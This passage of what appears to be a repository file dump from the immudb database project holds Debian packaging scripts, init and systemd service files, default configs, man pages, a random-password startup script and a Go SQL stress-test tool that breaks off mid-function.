scripts:\n      postinstall: ./packaging/rpm/control/postinst\n\n  deb:\n    scripts:\n      postinstall: ./packaging/deb/control/postinst\n"
  },
  {
    "path": "tools/packaging/deb/control/postinst",
    "content": "#!/bin/sh\n\nset -e\n\n[ -f /etc/default/immudb ] && . /etc/default/immudb\n\nIS_UPGRADE=false\n\n\ncase \"$1\" in\n\tconfigure)\n\t[ -z \"$IMMU_USER\" ] && IMMU_USER=\"immu\"\n\t[ -z \"$IMMU_GROUP\" ] && IMMU_GROUP=\"immu\"\n\tif ! getent group \"$IMMU_GROUP\" > /dev/null 2>&1 ; then\n\t    addgroup --system \"$IMMU_GROUP\" --quiet\n\tfi\n\tif ! id $IMMU_USER > /dev/null 2>&1 ; then\n\t    adduser --system --home /usr/share/immudb --no-create-home \\\n\t\t--ingroup \"$IMMU_GROUP\" --disabled-password --shell /bin/false \\\n\t\t\"$IMMU_USER\"\n\tfi\n\n\t# Set user permissions on /var/log/immudb, /var/lib/immudb\n\tmkdir -p /var/log/immudb /var/lib/immudb /etc/immudb /usr/share/immudb\n\tchown -R $IMMU_USER:$IMMU_GROUP /var/log/immudb /var/lib/immudb /usr/share/immudb\n\tchmod 755 /var/log/immudb /var/lib/immudb /usr/share/immudb\n\t\n\tchmod +x /usr/sbin/immudb\n    chmod +x /usr/sbin/immugw\n    chmod +x /usr/local/bin/immuclient\n\t\n\t# rebuild manpages\n\tmandb -q\n  \n\t# configuration files should not be modifiable by immu user, as this can be a security issue\n\tchown -Rh root:$IMMU_GROUP /etc/immudb\n\tchmod 755 /etc/immudb\n\tfind /etc/immudb -type f -exec chmod 640 {} ';'\n\tfind /etc/immudb -type d -exec chmod 755 {} ';'\n\n  # If $1=configure and $2 is set, this is an upgrade\n  if [ \"$2\" != \"\" ]; then\n    IS_UPGRADE=true\n  fi\n\n  if [ \"x$IS_UPGRADE\" != \"xtrue\" ]; then\n    if command -v systemctl >/dev/null; then\n\t  echo \"### NOT starting on installation, please execute the following statements to configure immudb to start automatically using systemd\"\n      echo \" sudo /bin/systemctl daemon-reload\"\n      echo \" sudo /bin/systemctl enable immudb\"\n\t  echo \" sudo /bin/systemctl enable immugw\"\n      echo \"### You can start immudb by executing\"\n      echo \" sudo /bin/systemctl start immudb\"\n\t  echo \" sudo /bin/systemctl start immugw\"\n\n    elif command -v update-rc.d >/dev/null; then\n      echo \"### NOT starting immudb by default on bootup, please execute\"\n      echo \" sudo update-rc.d immudb defaults 95 10\"\n\t  echo \" sudo update-rc.d immugw defaults 95 10\"\n      echo \"### In order to start immudb, execute\"\n      echo \" sudo service immudb start\"\n\t  echo \" sudo service immugw start\"\n    fi\n  elif [ \"$RESTART_ON_UPGRADE\" = \"true\" ]; then\n\n    echo -n \"Restarting immudb services...\"\n\n    if command -v systemctl >/dev/null; then\n      systemctl daemon-reload\n      systemctl restart immudb || true\n\t  systemctl restart immugw || true\n    elif [ -x /etc/init.d/immudb ]; then\n      if command -v invoke-rc.d >/dev/null; then\n        invoke-rc.d immudb restart || true\n\t\tinvoke-rc.d immugw restart || true\n      else\n        /etc/init.d/immudb restart || true\n\t\t/etc/init.d/immugw restart || true\n      fi\n    fi\n    echo \" OK\"\n\n\tfi\n\t;;\nesac\n"
  },
  {
    "path": "tools/packaging/deb/default/immuclient.ini.dist",
    "content": "address = 127.0.0.1\nport = 3322\n"
  },
  {
    "path": "tools/packaging/deb/default/immudb",
    "content": "IMMU_USER=immu\n\nIMMU_GROUP=immu\n\nIMMU_HOME=/usr/share/immudb\n\nLOG_DIR=/var/log/immudb\n\nDATA_DIR=/var/lib/immudb\n\nMAX_OPEN_FILES=10000\n\nCONF_DIR=/etc/immudb\n\nCONF_FILE=/etc/immudb/immudb.toml\n\nRESTART_ON_UPGRADE=true\n\n# Only used on systemd systems\nPID_FILE_DIR=/var/run/immudb.pid\n"
  },
  {
    "path": "tools/packaging/deb/default/immudb.ini.dist",
    "content": "dir = /var/lib/immudb\nnetwork = tcp\naddress = 0.0.0.0\nport = 3322\ndbname = immudb\n#pidfile = /var/run/immudb.pid\nlogfile = /var/log/immudb/immudb.log\nmtls = false\n#pkey = ./tools/mtls/3_application/private/localhost.key.pem\n#certificate = ./tools/mtls/3_application/certs/localhost.cert.pem\n#clientcas = ./tools/mtls/2_intermediate/certs/ca-chain.cert.pem\n"
  },
  {
    "path": "tools/packaging/deb/default/immugw",
    "content": "IMMU_USER=immu\n\nIMMU_GROUP=immu\n\nIMMU_HOME=/usr/share/immudb\n\nLOG_DIR=/var/log/immudb\n\nDATA_DIR=/var/lib/immudb\n\nMAX_OPEN_FILES=10000\n\nCONF_DIR=/etc/immudb\n\nCONF_FILE=/etc/immudb/immugw.toml\n\nRESTART_ON_UPGRADE=true\n\n# Only used on systemd systems\nPID_FILE_DIR=/var/run/immugw.pid\n"
  },
  {
    "path": "tools/packaging/deb/default/immugw.ini.dist",
    "content": "address = 0.0.0.0\nport = 3323\nimmudaddress = 127.0.0.1\nimmudport = 3322\n#pidfile = /var/run/immugw.pid\nlogfile = /var/log/immudb/immugw.log\nmtls = false\nservername = localhost\n#pkey = ./tools/mtls/4_client/private/localhost.key.pem\n#certificate = ./tools/mtls/4_client/certs/localhost.cert.pem\n#clientcas = ./tools/mtls/2_intermediate/certs/ca-chain.cert.pem\n"
  },
  {
    "path": "tools/packaging/deb/init.d/immudb",
    "content": "#! /usr/bin/env bash\n\n# chkconfig: 2345 80 05\n# description: immudb database\n# processname: immudb\n# config: /etc/immudb/immudb.toml\n# pidfile: /var/run/immudb.pid\n\n### BEGIN INIT INFO\n# Provides:          immudb\n# Required-Start:    $all\n# Required-Stop:     $remote_fs $syslog\n# Default-Start:     2 3 4 5\n# Default-Stop:      0 1 6\n# Short-Description: Start immudb at boot time\n### END INIT INFO\n\n#  tested on\n#  1. New lsb that define start-stop-daemon\n#  3. Centos with initscripts package installed\n\nPATH=/bin:/usr/bin:/sbin:/usr/sbin\nNAME=immudb\nDESC=\"immud - the tamperproof database\"\nDEFAULT=/etc/default/$NAME\n\nIMMU_USER=immu\nIMMU_GROUP=immu\nIMMU_HOME=/usr/share/immudb\nCONF_DIR=/etc/immudb\nWORK_DIR=$IMMU_HOME\nDATA_DIR=/var/lib/immudb\nLOG_DIR=/var/log/immudb\nCONF_FILE=$CONF_DIR/immudb.toml\nMAX_OPEN_FILES=10000\nPID_FILE=/var/run/$NAME.pid\nDAEMON=/usr/sbin/$NAME\n\numask 0027\n\nif [ ! -x $DAEMON ]; then\n  echo \"Program not installed or not executable\"\n  exit 5\nfi\n\n. /lib/lsb/init-functions\n\nif [ -r /etc/default/rcS ]; then\n\t. /etc/default/rcS\nfi\n\n# overwrite settings from default file\nif [ -f \"$DEFAULT\" ]; then\n\t. \"$DEFAULT\"\nfi\n\nDAEMON_OPTS=\"--config ${CONF_FILE}\"\n\nfunction checkUser() {\n  if [ `id -u` -ne 0 ]; then\n  \techo \"You need root privileges to run this script\"\n  \texit 4\n  fi\n}\n\ncase \"$1\" in\n  start)\n  checkUser\n\tlog_daemon_msg \"Starting $DESC\"\n\n\tpid=`pidofproc -p $PID_FILE immud`\n\tif [ -n \"$pid\" ] ; then\n\t\tlog_begin_msg \"Already running.\"\n\t\tlog_end_msg 0\n\t\texit 0\n\tfi\n\n\t# Prepare environment\n\tmkdir -p \"$LOG_DIR\" \"$DATA_DIR\" && chown \"$IMMU_USER\":\"$IMMU_GROUP\" \"$LOG_DIR\" \"$DATA_DIR\"\n\ttouch \"$PID_FILE\" && chown \"$IMMU_USER\":\"$IMMU_GROUP\" \"$PID_FILE\"\n\n  if [ -n \"$MAX_OPEN_FILES\" ]; then\n\t\tulimit -n $MAX_OPEN_FILES\n\tfi\n\n\t# Start Daemon\n\tstart-stop-daemon --start -b --chdir \"$WORK_DIR\" --user \"$IMMU_USER\" -c \"$IMMU_USER\" --pidfile \"$PID_FILE\" --exec $DAEMON -- $DAEMON_OPTS\n\treturn=$?\n\tif [ $return -eq 0 ]\n\tthen\n\t  sleep 1\n\n    # check if pid file has been written to\n\t  if ! [[ -s $PID_FILE ]]; then\n\t    log_end_msg 1\n\t    exit 1\n\t  fi\n\n\t\ti=0\n\t\ttimeout=10\n\t\t# Wait for the process to be properly started before exiting\n\t\tuntil { cat \"$PID_FILE\" | xargs kill -0; } >/dev/null 2>&1\n\t\tdo\n\t\t\tsleep 1\n\t\t\ti=$(($i + 1))\n      if [ $i -gt $timeout ]; then\n\t\t\t  log_end_msg 1\n\t\t\t  exit 1\n\t\t\tfi\n\t\tdone\n  fi\n  log_end_msg $return\n\t;;\n  stop)\n  checkUser\n\tlog_daemon_msg \"Stopping $DESC\"\n\n\tif [ -f \"$PID_FILE\" ]; then\n\t\tstart-stop-daemon --stop --pidfile \"$PID_FILE\" \\\n\t\t\t--user \"$IMMU_USER\" \\\n\t\t\t--retry=TERM/20/KILL/5 >/dev/null\n\t\tif [ $? -eq 1 ]; then\n\t\t\tlog_progress_msg \"$DESC is not running but pid file exists, cleaning up\"\n\t\telif [ $? -eq 3 ]; then\n\t\t\tPID=\"`cat $PID_FILE`\"\n\t\t\tlog_failure_msg \"Failed to stop $DESC (pid $PID)\"\n\t\t\texit 1\n\t\tfi\n\t\trm -f \"$PID_FILE\"\n\telse\n\t\tlog_progress_msg \"(not running)\"\n\tfi\n\tlog_end_msg 0\n\t;;\n  status)\n\tstatus_of_proc -p $PID_FILE immudb immudb && exit 0 || exit $?\n    ;;\n  restart|force-reload)\n\tif [ -f \"$PID_FILE\" ]; then\n\t\t$0 stop\n\t\tsleep 1\n\tfi\n\t$0 start\n\t;;\n  *)\n\tlog_success_msg \"Usage: $0 {start|stop|restart|force-reload|status}\"\n\texit 3\n\t;;\nesac\n"
  },
  {
    "path": "tools/packaging/deb/init.d/immugw",
    "content": "#! /usr/bin/env bash\n\n# chkconfig: 2345 80 05\n# description: immugw - immudb API Gateway\n# processname: immugw\n# config: /etc/immudb/immugw.toml\n# pidfile: /var/run/immugw.pid\n\n### BEGIN INIT INFO\n# Provides:          immugw\n# Required-Start:    $all\n# Required-Stop:     $remote_fs $syslog\n# Default-Start:     2 3 4 5\n# Default-Stop:      0 1 6\n# Short-Description: Start immugw at boot time\n### END INIT INFO\n\n#  tested on\n#  1. New lsb that define start-stop-daemon\n#  3. Centos with initscripts package installed\n\nPATH=/bin:/usr/bin:/sbin:/usr/sbin\nNAME=immugw\nDESC=\"immugw - API Gateway for immud - the tamperproof database\"\nDEFAULT=/etc/default/$NAME\n\nIMMU_USER=immu\nIMMU_GROUP=immu\nIMMU_HOME=/usr/share/immudb\nCONF_DIR=/etc/immudb\nWORK_DIR=$IMMU_HOME\nDATA_DIR=/var/lib/immudb\nLOG_DIR=/var/log/immudb\nCONF_FILE=$CONF_DIR/immugw.toml\nMAX_OPEN_FILES=10000\nPID_FILE=/var/run/$NAME.pid\nDAEMON=/usr/sbin/$NAME\n\numask 0027\n\nif [ ! -x $DAEMON ]; then\n  echo \"Program not installed or not executable\"\n  exit 5\nfi\n\n. /lib/lsb/init-functions\n\nif [ -r /etc/default/rcS ]; then\n\t. /etc/default/rcS\nfi\n\n# overwrite settings from default file\nif [ -f \"$DEFAULT\" ]; then\n\t. \"$DEFAULT\"\nfi\n\nDAEMON_OPTS=\"--config ${CONF_FILE}\"\n\nfunction checkUser() {\n  if [ `id -u` -ne 0 ]; then\n  \techo \"You need root privileges to run this script\"\n  \texit 4\n  fi\n}\n\ncase \"$1\" in\n  start)\n  checkUser\n\tlog_daemon_msg \"Starting $DESC\"\n\n\tpid=`pidofproc -p $PID_FILE immugw`\n\tif [ -n \"$pid\" ] ; then\n\t\tlog_begin_msg \"Already running.\"\n\t\tlog_end_msg 0\n\t\texit 0\n\tfi\n\n\t# Prepare environment\n\tmkdir -p \"$LOG_DIR\" \"$DATA_DIR\" && chown \"$IMMU_USER\":\"$IMMU_GROUP\" \"$LOG_DIR\" \"$DATA_DIR\"\n\ttouch \"$PID_FILE\" && chown \"$IMMU_USER\":\"$IMMU_GROUP\" \"$PID_FILE\"\n\n  if [ -n \"$MAX_OPEN_FILES\" ]; then\n\t\tulimit -n $MAX_OPEN_FILES\n\tfi\n\n\t# Start Daemon\n\tstart-stop-daemon --start -b --chdir \"$WORK_DIR\" --user \"$IMMU_USER\" -c \"$IMMU_USER\" --pidfile \"$PID_FILE\" --exec $DAEMON -- $DAEMON_OPTS\n\treturn=$?\n\tif [ $return -eq 0 ]\n\tthen\n\t  sleep 1\n\n    # check if pid file has been written to\n\t  if ! [[ -s $PID_FILE ]]; then\n\t    log_end_msg 1\n\t    exit 1\n\t  fi\n\n\t\ti=0\n\t\ttimeout=10\n\t\t# Wait for the process to be properly started before exiting\n\t\tuntil { cat \"$PID_FILE\" | xargs kill -0; } >/dev/null 2>&1\n\t\tdo\n\t\t\tsleep 1\n\t\t\ti=$(($i + 1))\n      if [ $i -gt $timeout ]; then\n\t\t\t  log_end_msg 1\n\t\t\t  exit 1\n\t\t\tfi\n\t\tdone\n  fi\n  log_end_msg $return\n\t;;\n  stop)\n  checkUser\n\tlog_daemon_msg \"Stopping $DESC\"\n\n\tif [ -f \"$PID_FILE\" ]; then\n\t\tstart-stop-daemon --stop --pidfile \"$PID_FILE\" \\\n\t\t\t--user \"$IMMU_USER\" \\\n\t\t\t--retry=TERM/20/KILL/5 >/dev/null\n\t\tif [ $? -eq 1 ]; then\n\t\t\tlog_progress_msg \"$DESC is not running but pid file exists, cleaning up\"\n\t\telif [ $? -eq 3 ]; then\n\t\t\tPID=\"`cat $PID_FILE`\"\n\t\t\tlog_failure_msg \"Failed to stop $DESC (pid $PID)\"\n\t\t\texit 1\n\t\tfi\n\t\trm -f \"$PID_FILE\"\n\telse\n\t\tlog_progress_msg \"(not running)\"\n\tfi\n\tlog_end_msg 0\n\t;;\n  status)\n\tstatus_of_proc -p $PID_FILE immugw immugw && exit 0 || exit $?\n    ;;\n  restart|force-reload)\n\tif [ -f \"$PID_FILE\" ]; then\n\t\t$0 stop\n\t\tsleep 1\n\tfi\n\t$0 start\n\t;;\n  *)\n\tlog_success_msg \"Usage: $0 {start|stop|restart|force-reload|status}\"\n\texit 3\n\t;;\nesac\n"
  },
  {
    "path": "tools/packaging/deb/man/immuclient.1",
    "content": ".TH \"immu\" \"1\" \"Apr 2020\" \"Auto generated by spf13/cobra\" \"\"\n.nh\n.ad l\n\n\n.SH NAME\n.PP\nimmu \\-\n\n\n.SH SYNOPSIS\n.PP\n\\fBimmu [flags]\\fP\n\n\n.SH DESCRIPTION\n\n.SH OPTIONS\n.PP\n\\fB\\-a\\fP, \\fB\\-\\-address\\fP=\"127.0.0.1\"\n    immudb host address\n\n.PP\n\\fB\\-\\-config\\fP=\"\"\n    config file (default path are config or $HOME. Default filename is immu.toml)\n\n.PP\n\\fB\\-h\\fP, \\fB\\-\\-help\\fP[=false]\n    help for immu\n\n.PP\n\\fB\\-p\\fP, \\fB\\-\\-port\\fP=3322\n    immudb port number\n\n\n.SH SEE ALSO\n.PP\n\\fBimmu\\-backup(1)\\fP, \\fBimmu\\-consistency(1)\\fP, \\fBimmu\\-count(1)\\fP, \\fBimmu\\-get(1)\\fP, \\fBimmu\\-history(1)\\fP, \\fBimmu\\-inclusion(1)\\fP, \\fBimmu\\-ping(1)\\fP, \\fBimmu\\-reference(1)\\fP, \\fBimmu\\-restore(1)\\fP, \\fBimmu\\-safeget(1)\\fP, \\fBimmu\\-safereference(1)\\fP, \\fBimmu\\-safeset(1)\\fP, \\fBimmu\\-safezadd(1)\\fP, \\fBimmu\\-scan(1)\\fP, \\fBimmu\\-set(1)\\fP, \\fBimmu\\-zadd(1)\\fP, \\fBimmu\\-zscan(1)\\fP\n\n\n.SH HISTORY\n.PP\n11\\-Apr\\-2020 Auto generated by spf13/cobra\n"
  },
  {
    "path": "tools/packaging/deb/man/immudb.1",
    "content": ".TH \"immud\" \"1\" \"Apr 2020\" \"Auto generated by spf13/cobra\" \"\"\n.nh\n.ad l\n\n\n.SH NAME\n.PP\nimmud \\-\n\n\n.SH SYNOPSIS\n.PP\n\\fBimmud [flags]\\fP\n\n\n.SH DESCRIPTION\n\n.SH OPTIONS\n.PP\n\\fB\\-a\\fP, \\fB\\-\\-address\\fP=\"0.0.0.0\"\n    bind address\n\n.PP\n\\fB\\-\\-certificate\\fP=\"./tools/mtls/3\\_application/certs/localhost.cert.pem\"\n    server certificate file path\n\n.PP\n\\fB\\-\\-clientcas\\fP=\"./tools/mtls/2\\_intermediate/certs/ca\\-chain.cert.pem\"\n    clients certificates list. Aka certificate authority\n\n.PP\n\\fB\\-\\-config\\fP=\"\"\n    config file (default path are config or $HOME. Default filename is immud.toml)\n\n.PP\n\\fB\\-n\\fP, \\fB\\-\\-dbname\\fP=\"immudb\"\n    db name\n\n.PP\n\\fB\\-d\\fP, \\fB\\-\\-dir\\fP=\".\"\n    data folder\n\n.PP\n\\fB\\-h\\fP, \\fB\\-\\-help\\fP[=false]\n    help for immud\n\n.PP\n\\fB\\-\\-logfile\\fP=\"\"\n    log path with filename. E.g. /tmp/immud/immud.log\n\n.PP\n\\fB\\-m\\fP, \\fB\\-\\-mtls\\fP[=false]\n    enable mutual tls\n\n.PP\n\\fB\\-\\-pidfile\\fP=\"\"\n    pid path with filename. E.g. /var/run/immud.pid\n\n.PP\n\\fB\\-\\-pkey\\fP=\"./tools/mtls/3\\_application/private/localhost.key.pem\"\n    server private key path\n\n.PP\n\\fB\\-p\\fP, \\fB\\-\\-port\\fP=3322\n    port number\n\n\n.SH HISTORY\n.PP\n11\\-Apr\\-2020 Auto generated by spf13/cobra\n"
  },
  {
    "path": "tools/packaging/deb/man/immugw.1",
    "content": ".TH \"immugw\" \"1\" \"Apr 2020\" \"Auto generated by spf13/cobra\" \"\"\n.nh\n.ad l\n\n\n.SH NAME\n.PP\nimmugw \\- Immu gateway\n\n\n.SH SYNOPSIS\n.PP\n\\fBimmugw [flags]\\fP\n\n\n.SH DESCRIPTION\n.PP\nImmu gateway is an smart proxy for immudb. It exposes all gRPC methods with a rest interface and wrap all SAFE endpoints with a verification service.\n\n\n.SH OPTIONS\n.PP\n\\fB\\-a\\fP, \\fB\\-\\-address\\fP=\"0.0.0.0\"\n    immugw host address\n\n.PP\n\\fB\\-\\-certificate\\fP=\"./tools/mtls/4\\_client/certs/localhost.cert.pem\"\n    server certificate file path\n\n.PP\n\\fB\\-\\-clientcas\\fP=\"./tools/mtls/2\\_intermediate/certs/ca\\-chain.cert.pem\"\n    clients certificates list. Aka certificate authority\n\n.PP\n\\fB\\-\\-config\\fP=\"\"\n    config file (default path are config or $HOME. Default filename is immugw.toml)\n\n.PP\n\\fB\\-h\\fP, \\fB\\-\\-help\\fP[=false]\n    help for immugw\n\n.PP\n\\fB\\-k\\fP, \\fB\\-\\-immudaddress\\fP=\"127.0.0.1\"\n    immudb host address\n\n.PP\n\\fB\\-j\\fP, \\fB\\-\\-immudport\\fP=3322\n    immudb port number\n\n.PP\n\\fB\\-\\-logfile\\fP=\"\"\n    log path with filename. E.g. /tmp/immugw/immugw.log\n\n.PP\n\\fB\\-m\\fP, \\fB\\-\\-mtls\\fP[=false]\n    enable mutual tls\n\n.PP\n\\fB\\-\\-pidfile\\fP=\"\"\n    pid path with filename. E.g. /var/run/immugw.pid\n\n.PP\n\\fB\\-\\-pkey\\fP=\"./tools/mtls/4\\_client/private/localhost.key.pem\"\n    server private key path\n\n.PP\n\\fB\\-p\\fP, \\fB\\-\\-port\\fP=3323\n    immugw port number\n\n.PP\n\\fB\\-\\-servername\\fP=\"localhost\"\n    used to verify the hostname on the returned certificates\n\n\n.SH HISTORY\n.PP\n11\\-Apr\\-2020 Auto generated by spf13/cobra\n"
  },
  {
    "path": "tools/packaging/deb/systemd/immudb.service",
    "content": "[Unit]\nDescription=immudb database daemon\nDocumentation=https://github.com/codenotary/immudb\nWants=network-online.target\nAfter=network-online.target\n\n[Service]\nEnvironmentFile=/etc/default/immudb\nUser=immu\nGroup=immu\nType=simple\nRestart=on-failure\nWorkingDirectory=/usr/share/immudb\nRuntimeDirectory=immudb\nRuntimeDirectoryMode=0750\nExecStart=/usr/sbin/immudb --config /etc/immudb/immudb.toml\n\nLimitNOFILE=10000\nTimeoutStopSec=20\nUMask=0027\n\n[Install]\nWantedBy=multi-user.target\n"
  },
  {
    "path": "tools/packaging/deb/systemd/immugw.service",
    "content": "[Unit]\nDescription=immugw - immudb API gateway\nDocumentation=https://github.com/codenotary/immudb\nWants=network-online.target\nRequires=immudb.service\n\n[Service]\nEnvironmentFile=/etc/default/immugw\nUser=immu\nGroup=immu\nType=simple\nRestart=on-failure\nWorkingDirectory=/usr/share/immudb\nRuntimeDirectory=immugw\nRuntimeDirectoryMode=0750\nExecStartPre=/bin/sleep 30\nExecStart=/usr/sbin/immugw --config /etc/immudb/immugw.toml\n\nLimitNOFILE=10000\nTimeoutStopSec=20\nUMask=0027\n\n[Install]\nWantedBy=multi-user.target\n"
  },
  {
    "path": "tools/rndpass/startup.sh",
    "content": "#!/bin/sh\nif [ -f /etc/sysconfig/immudb ]\nthen\n    source /etc/sysconfig/immudb\nfi\nif [ -z \"$IMMUDB_ADMIN_PASSWORD\" ]\nthen\n   IMMUDB_ADMIN_PASSWORD=`tr -cd '[:alnum:].,:;/@_=' < /dev/urandom|head -c 16`\n   echo \"Generated immudb password: $IMMUDB_ADMIN_PASSWORD\"\nfi\nexport IMMUDB_ADMIN_PASSWORD\nexec $@\n"
  },
  {
    "path": "tools/testing/stress_tool_sql.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage main\n\nimport (\n\t\"context\"\n\t\"flag\"\n\t\"log\"\n\t\"math/rand\"\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\timmudb \"github.com/codenotary/immudb/pkg/client\"\n\t\"google.golang.org/protobuf/types/known/emptypb\"\n)\n\ntype Entry struct {\n\tid    int\n\tvalue []byte\n}\n\ntype cfg struct {\n\tIpAddr        string\n\tPort          int\n\tUsername      string\n\tPassword      string\n\tDBName        string\n\tcommitters    int\n\tkvCount       int\n\tvLen          int\n\trndValues     bool\n\treaders       int\n\trdCount       int\n\treadDelay     int\n\treadPause     int\n\treadRenew     bool\n\tcompactDelay  int\n\tcompactCycles int\n\tverifiers     int\n\tvrCount       int\n\tsessionMode   bool\n\ttransactions  bool\n}\n\nfunc parseConfig() (c cfg) {\n\tflag.StringVar(&c.IpAddr, \"addr\", \"\", \"IP address of immudb server\")\n\tflag.IntVar(&c.Port, \"port\", 3322, \"Port number of immudb server\")\n\tflag.StringVar(&c.Username, \"user\", \"immudb\", \"Username for authenticating to immudb\")\n\tflag.StringVar(&c.Password, \"pass\", \"immudb\", \"Password for authenticating to immudb\")\n\tflag.StringVar(&c.DBName, \"db\", \"defaultdb\", \"Name of the database to use\")\n\n\tflag.IntVar(&c.committers, \"committers\", 10, \"number of concurrent committers\")\n\tflag.IntVar(&c.kvCount, \"kvCount\", 1_000, \"number of kv entries per tx\")\n\tflag.IntVar(&c.vLen, \"vLen\", 32, \"value length (bytes)\")\n\tflag.BoolVar(&c.rndValues, \"rndValues\", true, \"values are randomly generated\")\n\n\tflag.IntVar(&c.readers, \"readers\", 0, \"number of concurrent readers\")\n\tflag.IntVar(&c.rdCount, \"rdCount\", 100, \"number of reads for each readers\")\n\tflag.IntVar(&c.readDelay, \"readDelay\", 100, \"Readers start delay (ms)\")\n\tflag.IntVar(&c.readPause, \"readPause\", 0, \"Readers pause at every cycle\")\n\tflag.BoolVar(&c.readRenew, \"readRenew\", false, \"renew snapshots on read\")\n\n\tflag.IntVar(&c.compactDelay, \"compactDelay\", 0, \"Milliseconds wait before compactions (0 disable)\")\n\tflag.IntVar(&c.compactCycles, \"compactCycles\", 0, \"Number of compaction to perform\")\n\n\tflag.IntVar(&c.verifiers, \"verifiers\", 0, \"number of verifiers readers\")\n\tflag.IntVar(&c.vrCount, \"vrCount\", 100, \"number of reads for each verifiers\")\n\n\tflag.BoolVar(&c.sessionMode, \"sessionMode\", false, \"use sessions auth mechanism mode\")\n\tflag.BoolVar(&c.transactions, \"transactions\", false, \"use transactions to insert data\")\n\n\tflag.Parse()\n\treturn\n}\n\nfunc connect(config cfg) (immudb.ImmuClient, context.Context) {\n\topts := immudb.DefaultOptions().WithAddress(config.IpAddr).WithPort(config.Port)\n\tctx := context.Background()\n\n\tvar client immudb.ImmuClient\n\tvar err error\n\n\tif config.sessionMode {\n\t\tclient = immudb.NewClient()\n\t\terr = client.OpenSession(ctx, []byte(config.Username), []byte(config.Password), config.DBName)\n\t\tif err != nil {\n\t\t\tlog.Fatalln(\"Failed to connect. Reason:\", err)\n\t\t}\n\t} else {\n\t\tclient, err = immudb.NewImmuClient(opts)\n\t\tif err != nil {\n\t\t\tlog.Fatalln(\"Failed to connect. Reason:\", err)\n\t\t}\n\t\t_, err = client.Login(ctx, []byte(config.Username), []byte(config.Password))\n\t\tif err != nil {\n\t\t\tlog.Fatalln(\"Failed to login. Reason:\", err.Error())\n\t\t}\n\t\t_, err = client.UseDatabase(ctx, &schema.Database{DatabaseName: config.DBName})\n\t\tif err != nil {\n\t\t\tlog.Fatalln(\"Failed to use the database. Reason:\", err)\n\t\t}\n\t}\n\treturn client, ctx\n}\n\nfunc idGenerator(c cfg) chan int {\n\t// incremental id generator\n\tids := make(chan int, 100)\n\tgo func() {\n\t\tfor true {\n\t\t\tids <- int(time.Now().UnixNano())\n\t\t}\n\t}()\n\treturn ids\n}\nfunc entriesGenerator(c cfg, ids chan int) chan Entry {\n\tentries := make(chan Entry, 100)\n\trand.Seed(time.Now().UnixNano())\n\tgo func() {\n\t\tlog.Printf(\"Worker is generating rows...\\r\\n\")\n\t\tfor true {\n\t\t\tid := <-ids\n\t\t\tv := make([]byte, c.vLen)\n\t\t\tif c.rndValues {\n\t\t\t\trand.Read(v)\n\t\t\t} else {\n\t\t\t\tcopy(v, []byte(\"mariposa\"))\n\t\t\t}\n\t\t\tentries <- Entry{id: id, value: v}\n\t\t}\n\t}()\n\n\treturn entries\n}\n\nfunc committer(ctx context.Context, client immudb.ImmuClient, c cfg, entries chan Entry, cid int, wg *sync.WaitGroup) {\n\tlog.Printf(\"Committer %d is inserting data...\\r\\n\", cid)\n\tfor i := 0; i < c.kvCount; i++ {\n\t\tentry := <-entries\n\t\t_, err := client.SQLExec(ctx, \"INSERT INTO entries (id, value, ts) VALUES (@id, @value, now());\",\n\t\t\tmap[string]interface{}{\"id\": entry.id, \"value\": entry.value})\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"Committer %d: Error while inserting value %d [%d]: %s\", cid, entry.id, i, err)\n\t\t}\n\t}\n\twg.Done()\n\tlog.Printf(\"Committer %d done...\\r\\n\", cid)\n}\n\nfunc committerWithTxs(ctx context.Context, client immudb.ImmuClient, c cfg, entries chan Entry, cid int, wg *sync.WaitGroup) {\n\tlog.Printf(\"Transactions committer %d is inserting data...\\r\\n\", cid)\n\ttx, err := client.NewTx(ctx)\n\tif err != nil {\n\t\tlog.Fatalf(\"Transactions committer %d: Error while creating transaction: %s\", cid, err)\n\t}\n\tfor i := 0; i < c.kvCount; i++ {\n\t\tentry := <-entries\n\t\terr = tx.SQLExec(ctx, \"INSERT INTO entries (id, value, ts) VALUES (@id, @value, now());\",\n\t\t\tmap[string]interface{}{\"id\": entry.id, \"value\": entry.value})\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"Transactions committer %d: Error while inserting value %d [%d]: %s\", cid, entry.id, i, err)\n\t\t}\n\t}\n\t_, err = tx.Commit(ctx)\n\tif err != nil {\n\t\tif err.Error() != \"tx read conflict\" {\n\t\t\tlog.Fatalf(\"Transactions committer %d: Error while committing transaction: %s\", cid, err)\n\t\t}\n\t}\n\twg.Done()\n\tlog.Printf(\"Transactions committer %d done...\\r\\n\", cid)\n}\n\nfunc reader(ctx context.Context, client immudb.ImmuClient, c cfg, id int, wg *sync.WaitGroup) {\n\tif c.readDelay > 0 { // give time to populate db\n\t\ttime.Sleep(time.Duration(c.readDelay) * time.Millisecond)\n\t}\n\tlog.Printf(\"Reader %d is reading data\\n\", id)\n\tfor i := 1; i <= c.rdCount; i++ {\n\t\tr, err := client.SQLQuery(ctx, \"SELECT count() FROM entries where id<=@i;\", map[string]interface{}{\"i\": i}, c.readRenew)\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"Error querying val %d: %s\", i, err.Error())\n\t\t}\n\t\tret := r.Rows[0]\n\t\tn := ret.Values[0].GetN()\n\t\tif n != int64(i) {\n\t\t\tlog.Printf(\"Reader %d read %d vs %d\", id, n, i)\n\t\t}\n\t\tif c.readPause > 0 {\n\t\t\ttime.Sleep(time.Duration(c.readPause) * time.Millisecond)\n\t\t}\n\t}\n\twg.Done()\n\tlog.Printf(\"Reader %d out\\n\", id)\n}\n\nfunc readerWithTxs(ctx context.Context, client immudb.ImmuClient, c cfg, id int, wg *sync.WaitGroup) {\n\tif c.readDelay > 0 { // give time to populate db\n\t\ttime.Sleep(time.Duration(c.readDelay) * time.Millisecond)\n\t}\n\tlog.Printf(\"Transactions reader %d is reading data\\n\", id)\n\n\ttx, err := client.NewTx(ctx)\n\tif err != nil {\n\t\tlog.Fatalf(\"Transactions reader %d: Error while creating transaction: %s\", id, err)\n\t}\n\tfor i := 